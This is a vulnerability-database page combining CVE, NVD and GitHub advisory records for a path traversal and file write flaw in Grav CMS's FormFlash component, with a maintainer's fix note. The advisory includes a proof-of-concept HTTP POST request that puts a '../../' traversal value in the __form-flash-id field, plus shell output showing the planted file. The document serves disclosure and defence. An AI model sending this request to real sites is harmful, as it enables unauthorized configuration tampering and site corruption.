CVE-2026-42608 (GCVE-0-2026-42608)

Vulnerability from cvelistv5 – Published: 2026-05-11 15:02 – Updated: 2026-05-11 16:07

Previdian

Title

Grav: Unauthenticated Path Traversal & Arbitrary File Write in FormFlash component.

Summary

Grav is a file-based Web platform. Prior to 2.0.0-beta.2, there is a Path Traversal vulnerability within the FormFlash core component. By manipulating the session_id (passed as __form-flash-id in POST requests), an unauthenticated attacker can traverse the filesystem to create arbitrary directories and write an index.yaml file containing attacker-controlled data. This vulnerability can lead to unauthorized modification of application behavior, potential data integrity issues, and service disruption in production environments. This vulnerability is fixed in 2.0.0-beta.2.

Severity

8.8 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-05-11 16:07 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M mitre root

References

1 reference

URL	Tags
https://github.com/getgrav/grav/security/advisori…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version	CPE status
getgrav	grav	Affected: < 2.0.0-beta.2	guessed

Previdian

Known Exploited Vulnerability - GCVE BCP-07 Compliant

KEV entry ID: e5660d0f-d271-4cdc-a69f-ea42793e2c70

Vulnerability ID: CVE-2026-42608

Status: Confirmed

Status Updated: 2026-09-27 17:12 UTC

Exploited: Yes

Timestamps

First Seen: 2026-09-27

Asserted: 2026-09-27

Scope

Evidence

Type: Public Report

Signal: Successful Exploitation

Confidence: 70%

Source: previdian

Details

Feed	Previdian (previdian.com)
Title	Grav: Unauthenticated Path Traversal & Arbitrary File Write in FormFlash component.
Cve Id	CVE-2026-42608
Vendor	Getgrav
Ghsa Id	None
Product	grav
Added Date	2026-09-27T17:12:00.000Z
Cvss Score	8.8
Epss Score	0.00521
Previous Ids
Cvss Severity	HIGH
Virtual Patch	False
Cvss Estimated	False
Epss Percentile	0.41948
Used In Malware	unknown
Vulnerability Id	CVE-2026-42608
Ahead Of Cisa Kev	None
Not Yet In Cisa Kev	True

References

Created: 2026-09-28 18:00 UTC | Updated: 2026-09-28 18:00 UTC

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-42608

Vulnerability from fkie_nvd - Published: 2026-05-11 16:17 - Updated: 2026-06-17 10:48

Previdian

Severity

9.1 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/getgrav/grav/security/advisories/GHSA-hmcx-ch82-3fv2	Exploit, Vendor Advisory
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/getgrav/grav/security/advisories/GHSA-hmcx-ch82-3fv2	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	getgrav	grav	*
	getgrav	grav	2.0.0

JSON

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    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-42608",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-05-11T16:07:43.451071Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-05-11T16:17:33.207",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-hmcx-ch82-3fv2"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-hmcx-ch82-3fv2"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-HMCX-CH82-3FV2

Vulnerability from github – Published: 2026-05-05 21:34 – Updated: 2026-05-13 13:52

Summary

Grav has Unauthenticated Path Traversal & Arbitrary File Write in its FormFlash component

Details

Vulnerability Report: Grav CMS Unauthenticated Path Traversal & Arbitrary File Write

[ZERO-DAY] Unauthenticated Path Traversal leading to Arbitrary Directory Creation and Configuration Injection

Summary

Grav CMS (v1.7.49.5 and latest development source) is vulnerable to a Zero-Day Path Traversal vulnerability within the FormFlash core component. By manipulating the session_id (passed as __form-flash-id in POST requests), an unauthenticated attacker can traverse the filesystem to create arbitrary directories and write an index.yaml file containing attacker-controlled data.

This vulnerability can lead to unauthorized modification of application behavior, potential data integrity issues, and service disruption in production environments.

Affected Component

Versions: Confirmed in Grav v1.7.49.5 (latest stable) and the latest development source (March 2026).
Class: Grav\Framework\Form\FormFlash
Method: __construct() / getTmpDir()
Parameter: session_id (Mapped to __form-flash-id in POST requests)

Vulnerability Details

The FormFlash class is used to persist form data across redirects. It constructs a temporary storage path using the provided session_id. The path construction logic in the latest source:

$folder = $config['folder'] ?? ($this->sessionId ? 'tmp://forms/' . $this->sessionId : '');
$this->folder = $folder && $locator->isStream($folder) ? $locator->findResource($folder, true, true) : $folder;

Lack of sanitization on the sessionId (the raw session identifier) allows the use of ../ sequences. When findResource resolves the stream, it allows escape into any writable directory within the webserver's scope (typically user/config/, cache/, logs/, and tmp/).

Affected Versions & Zero-Day Status

Tested Version: v1.7.49.5 (Latest Stable Release as of Nov 2025).
Development Branch Status: Vulnerable. The latest source code in the GitHub develop branch (March 2026) remains unpatched.
Affected Range: All Grav CMS versions utilizing the FormFlash component (v1.7.x and potentially older v1.6.x versions).
CVE Status: Zero-Day (Non-Registered). Extensive research confirmed no existing CVE addresses this specific core FormFlash session-based traversal.

Steps to Reproduce

Identify any page containing a Grav Form (e.g., /contact).
Intercept the POST request during form submission.
Modify the __form-flash-id parameter to include a traversal sequence targeting a writable directory (e.g., ../../user/config/proof_dir).
Submit the request.
Observe that a new directory (poc/) and file (index.yaml) have been created at the traversed path.

Request Example

POST /contact HTTP/1.1
Host: target.grav.cms
Content-Type: application/x-www-form-urlencoded

__form-name-=contact&__form-flash-id=../../user/config/proof_dir&form-data[name]=Attack&form-data[message]=Payload

Response / Result

HTTP/1.1 302 Found (Standard redirect)
Filesystem Modification:
Directory Created: /var/www/html/user/config/proof_dir/poc/
File Created: /var/www/html/user/config/proof_dir/poc/index.yaml

Proof of Concept Evidence (Before/After)

Before Exploitation

Status: Directory does not exist.
Evidence:

$ ls -la /var/www/html/user/config/proof_dir/
ls: cannot access '/var/www/html/user/config/proof_dir/': No such file or directory

After Exploitation

Status: Arbitrary directory and index.yaml created.
Evidence:

$ ls -la /var/www/html/user/config/proof_dir/poc/index.yaml
-rw-rw-r-- 1 www-data www-data 158 Mar 23 22:15 /var/www/html/user/config/proof_dir/poc/index.yaml
$ cat /var/www/html/user/config/proof_dir/poc/index.yaml
form: ''
id: ''
unique_id: poc
...
data:
  poc_status: confirmed

Impact

Clarified Cross-User Attack: By controlling the session identifier, an attacker can overwrite or interfere with other users temporary form data, breaking session isolation.
Configuration Injection: Writing index.yaml into plugin/theme configuration subdirectories can alter application behavior or inject malicious settings.
Data Integrity: Unauthorized modification of configuration subfolders can lead to widespread site corruption or logical bypasses.
Denial of Service (DoS): Recursive directory creation enables attackers to exhaust disk space or inodes (inode exhaustion).

Attack Requirements

Authentication: None (Unauthenticated)
Configuration: Standard Grav installation with at least one form-enabled page (e.g., Contact, Login, Registration)

Exploitability Assessment

Complexity: Low. Requires only basic HTTP POST parameters.
Reliability: 100% (Deterministically reproducible in vulnerable versions).
Severity: Critical / High. The vulnerability requires no authentication and allows filesystem manipulation and session data corruption.

Remediation

Sanitize Session IDs: Apply basename() or a strict alphanumeric regex to the session_id in FormFlash before path construction.
Filesystem Hardening: Ensure user/config/ and other sensitive directories have restrictive permissions preventing the webserver from creating new subdirectories.
Update Grav: Monitor for patches addressing FormFlash sanitization.

Maintainer note — fix applied (2026-04-24)

Fixed in Grav core on the 2.0 branch: commit d904efc33 — will ship in 2.0.0-beta.2.

What changed: FormFlash::__construct() now sanitizes session_id, unique_id, and id through a strict [A-Za-z0-9,_-]{1,64} allowlist before any path is constructed from them. Invalid values collapse to '', which causes save()/delete()/getTmpDir() to no-op — so a __form-flash-id=../../user/config/proof_dir POST simply does nothing on disk.

Files:

system/src/Grav/Framework/Form/FormFlash.php
tests/unit/Grav/Common/Security/FormFlashSecurityTest.php — 32 test cases covering the PoC + variants.

Severity

8.8 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

Show details on source website

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0-beta.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42608"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T21:34:58Z",
    "nvd_published_at": "2026-05-11T16:17:33Z",
    "severity": "HIGH"
  },
  "details": "# Vulnerability Report: Grav CMS Unauthenticated Path Traversal \u0026 Arbitrary File Write\n\n**[ZERO-DAY] Unauthenticated Path Traversal leading to Arbitrary Directory Creation and Configuration Injection**\n\n## Summary\n\nGrav CMS (v1.7.49.5 and latest development source) is vulnerable to a Zero-Day Path Traversal vulnerability within the FormFlash core component. By manipulating the session_id (passed as `__form-flash-id` in POST requests), an unauthenticated attacker can traverse the filesystem to create arbitrary directories and write an `index.yaml` file containing attacker-controlled data.\n\nThis vulnerability can lead to unauthorized modification of application behavior, potential data integrity issues, and service disruption in production environments.\n\n## Affected Component\n\n- Versions: Confirmed in Grav v1.7.49.5 (latest stable) and the latest development source (March 2026).\n- Class: `Grav\\Framework\\Form\\FormFlash`\n- Method: `__construct()` / `getTmpDir()`\n- Parameter: `session_id` (Mapped to `__form-flash-id` in POST requests)\n\n## Vulnerability Details\n\nThe FormFlash class is used to persist form data across redirects. It constructs a temporary storage path using the provided session_id. The path construction logic in the latest source:\n\n```php\n$folder = $config[\u0027folder\u0027] ?? ($this-\u003esessionId ? \u0027tmp://forms/\u0027 . $this-\u003esessionId : \u0027\u0027);\n$this-\u003efolder = $folder \u0026\u0026 $locator-\u003eisStream($folder) ? $locator-\u003efindResource($folder, true, true) : $folder;\n```\n\nLack of sanitization on the sessionId (the raw session identifier) allows the use of `../` sequences. When `findResource` resolves the stream, it allows escape into any writable directory within the webserver\u0027s scope (typically `user/config/`, `cache/`, `logs/`, and `tmp/`).\n\n## Affected Versions \u0026 Zero-Day Status\n\n- Tested Version: v1.7.49.5 (Latest Stable Release as of Nov 2025).\n- Development Branch Status: Vulnerable. The latest source code in the GitHub develop branch (March 2026) remains unpatched.\n- Affected Range: All Grav CMS versions utilizing the FormFlash component (v1.7.x and potentially older v1.6.x versions).\n- CVE Status: Zero-Day (Non-Registered). Extensive research confirmed no existing CVE addresses this specific core FormFlash session-based traversal.\n\n## Steps to Reproduce\n\n1. Identify any page containing a Grav Form (e.g., `/contact`).\n2. Intercept the POST request during form submission.\n3. Modify the `__form-flash-id` parameter to include a traversal sequence targeting a writable directory (e.g., `../../user/config/proof_dir`).\n4. Submit the request.\n5. Observe that a new directory (`poc/`) and file (`index.yaml`) have been created at the traversed path.\n\n## Request Example\n\n```http\nPOST /contact HTTP/1.1\nHost: target.grav.cms\nContent-Type: application/x-www-form-urlencoded\n\n__form-name-=contact\u0026__form-flash-id=../../user/config/proof_dir\u0026form-data[name]=Attack\u0026form-data[message]=Payload\n```\n\n## Response / Result\n\n- HTTP/1.1 302 Found (Standard redirect)\n- Filesystem Modification:\n  - Directory Created: `/var/www/html/user/config/proof_dir/poc/`\n  - File Created: `/var/www/html/user/config/proof_dir/poc/index.yaml`\n\n## Proof of Concept Evidence (Before/After)\n\n### Before Exploitation\n\n- Status: Directory does not exist.\n- Evidence:\n\n```bash\n$ ls -la /var/www/html/user/config/proof_dir/\nls: cannot access \u0027/var/www/html/user/config/proof_dir/\u0027: No such file or directory\n```\n\n### After Exploitation\n\n- Status: Arbitrary directory and `index.yaml` created.\n- Evidence:\n\n```bash\n$ ls -la /var/www/html/user/config/proof_dir/poc/index.yaml\n-rw-rw-r-- 1 www-data www-data 158 Mar 23 22:15 /var/www/html/user/config/proof_dir/poc/index.yaml\n$ cat /var/www/html/user/config/proof_dir/poc/index.yaml\nform: \u0027\u0027\nid: \u0027\u0027\nunique_id: poc\n...\ndata:\n  poc_status: confirmed\n```\n\n## Impact\n\n- Clarified Cross-User Attack: By controlling the session identifier, an attacker can overwrite or interfere with other users temporary form data, breaking session isolation.\n- Configuration Injection: Writing `index.yaml` into plugin/theme configuration subdirectories can alter application behavior or inject malicious settings.\n- Data Integrity: Unauthorized modification of configuration subfolders can lead to widespread site corruption or logical bypasses.\n- Denial of Service (DoS): Recursive directory creation enables attackers to exhaust disk space or inodes (inode exhaustion).\n\n## Attack Requirements\n\n- Authentication: None (Unauthenticated)\n- Configuration: Standard Grav installation with at least one form-enabled page (e.g., Contact, Login, Registration)\n\n## Exploitability Assessment\n\n- Complexity: Low. Requires only basic HTTP POST parameters.\n- Reliability: 100% (Deterministically reproducible in vulnerable versions).\n- Severity: Critical / High. The vulnerability requires no authentication and allows filesystem manipulation and session data corruption.\n\n## Remediation\n\n1. Sanitize Session IDs: Apply `basename()` or a strict alphanumeric regex to the `session_id` in FormFlash before path construction.\n2. Filesystem Hardening: Ensure `user/config/` and other sensitive directories have restrictive permissions preventing the webserver from creating new subdirectories.\n3. Update Grav: Monitor for patches addressing FormFlash sanitization.\n\n---\n\n## Maintainer note \u2014 fix applied (2026-04-24)\n\nFixed in Grav core on the `2.0` branch: commit [`d904efc33`](https://github.com/getgrav/grav/commit/d904efc33) \u2014 will ship in **2.0.0-beta.2**.\n\n**What changed:** `FormFlash::__construct()` now sanitizes `session_id`, `unique_id`, and `id` through a strict `[A-Za-z0-9,_-]{1,64}` allowlist before any path is constructed from them. Invalid values collapse to `\u0027\u0027`, which causes `save()`/`delete()`/`getTmpDir()` to no-op \u2014 so a `__form-flash-id=../../user/config/proof_dir` POST simply does nothing on disk.\n\n**Files:**\n\n- [`system/src/Grav/Framework/Form/FormFlash.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Framework/Form/FormFlash.php)\n- [`tests/unit/Grav/Common/Security/FormFlashSecurityTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/FormFlashSecurityTest.php) \u2014 32 test cases covering the PoC + variants.",
  "id": "GHSA-hmcx-ch82-3fv2",
  "modified": "2026-05-13T13:52:35Z",
  "published": "2026-05-05T21:34:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-hmcx-ch82-3fv2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42608"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/c66dfeb5ff679a1667678c6335eb9ff3255dfc47"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/d904efc33e03ebb597afde8d3368b28cf0423632"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Grav has Unauthenticated Path Traversal \u0026 Arbitrary File Write in its FormFlash component"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-42608 (GCVE-0-2026-42608)

Previdian

Known Exploited Vulnerability - GCVE BCP-07 Compliant

Timestamps

Scope

Evidence

Public Report Successful Exploitation Confidence: 70% Source: previdian

Details

References

FKIE_CVE-2026-42608

GHSA-HMCX-CH82-3FV2

Vulnerability Report: Grav CMS Unauthenticated Path Traversal & Arbitrary File Write

Summary

Affected Component

Vulnerability Details

Affected Versions & Zero-Day Status

Steps to Reproduce

Request Example

Response / Result

Proof of Concept Evidence (Before/After)

Before Exploitation

After Exploitation

Impact

Attack Requirements

Exploitability Assessment

Remediation

Maintainer note — fix applied (2026-04-24)

Tags

Sightings

Nomenclature

Related by attack behaviour